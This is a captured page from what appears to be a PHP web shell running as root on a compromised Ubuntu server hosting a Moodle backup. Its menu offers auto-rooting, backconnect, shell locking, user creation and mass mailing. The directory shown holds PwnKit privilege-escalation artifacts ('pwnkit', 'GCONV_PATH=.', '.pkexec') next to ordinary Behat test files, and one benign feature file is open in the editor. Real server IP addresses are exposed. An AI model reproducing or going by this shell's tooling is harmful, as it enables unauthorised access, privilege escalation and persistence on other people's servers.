Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
course /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
activities_edit_completion.fea...
2.45
KB
-rw-rw-r--
activities_edit_name.feature
1.99
KB
-rw-rw-r--
activities_edit_with_block_doc...
1.11
KB
-rw-rw-r--
activities_group_icons.feature
1.79
KB
-rw-rw-r--
activities_indentation.feature
2.06
KB
-rw-rw-r--
activities_visibility_icons.fe...
9.25
KB
-rw-rw-r--
activity_navigation.feature
16.58
KB
-rw-rw-r--
activity_navigation_with_restr...
3.37
KB
-rw-rw-r--
add_activities.feature
2.96
KB
-rw-rw-r--
behat_course.php
78.84
KB
-rw-rw-r--
category_change_visibility.fea...
17.1
KB
-rw-rw-r--
category_management.feature
17.04
KB
-rw-rw-r--
category_resort.feature
10.88
KB
-rw-rw-r--
category_role_assignment.featu...
1.53
KB
-rw-rw-r--
course_category_management_lis...
51.53
KB
-rw-rw-r--
course_change_visibility.featu...
5.91
KB
-rw-rw-r--
course_controls.feature
9.47
KB
-rw-rw-r--
course_creation.feature
3.18
KB
-rw-rw-r--
course_resort.feature
11.14
KB
-rw-rw-r--
course_search.feature
1.59
KB
-rw-rw-r--
coursetags.feature
3.81
KB
-rw-rw-r--
create_delete_course.feature
5.13
KB
-rw-rw-r--
edit_settings.feature
2.49
KB
-rw-rw-r--
force_group_mode.feature
2.13
KB
-rw-rw-r--
frontpage_display_modes.featur...
3.15
KB
-rw-rw-r--
general_section.feature
1.48
KB
-rw-rw-r--
keyholder.feature
2.37
KB
-rw-rw-r--
max_number_sections.feature
1.95
KB
-rw-rw-r--
move_activities.feature
2.3
KB
-rw-rw-r--
move_sections.feature
2.4
KB
-rw-rw-r--
navigate_course_list.feature
3.12
KB
-rw-rw-r--
paged_course_navigation.featur...
4.66
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
rename_roles.feature
2.31
KB
-rw-rw-r--
restrict_available_activities....
1.87
KB
-rw-rw-r--
role_renaming.feature
1.75
KB
-rw-rw-r--
section_highlighting.feature
1.78
KB
-rw-rw-r--
section_visibility.feature
3.01
KB
-rw-rw-r--
view_subfolders_inline.feature
2.88
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restrict_available_activities.feature
@core @core_course Feature: Restrict activities availability In order to prevent the use of some activities As an admin I need to control which activities can be used in courses Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | category | format | | Course 1 | C1 | 0 | topics | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | @javascript Scenario: Activities can be added with the default permissions Given I log in as "teacher1" And I am on "Course 1" course homepage with editing mode on When I add a "Glossary" to section "1" and I fill the form with: | Name | Test glossary name | | Description | Test glossary description | And I add a "Chat" to section "1" and I fill the form with: | Name of this chat room | Test chat name | | Description | Test chat description | Then I should see "Test glossary name" And I should see "Test chat name" Scenario: Activities can not be added when the admin restricts the permissions Given I log in as "admin" And I set the following system permissions of "Teacher" role: | mod/chat:addinstance | Prohibit | And I am on "Course 1" course homepage And I navigate to "Users > Permissions" in current page administration And I override the system permissions of "Teacher" role with: | mod/glossary:addinstance | Prohibit | And I log out And I log in as "teacher1" When I am on "Course 1" course homepage with editing mode on Then the "Add an activity to section 'Topic 1'" select box should not contain "Chat" Then the "Add an activity to section 'Topic 1'" select box should not contain "Glossary"
Close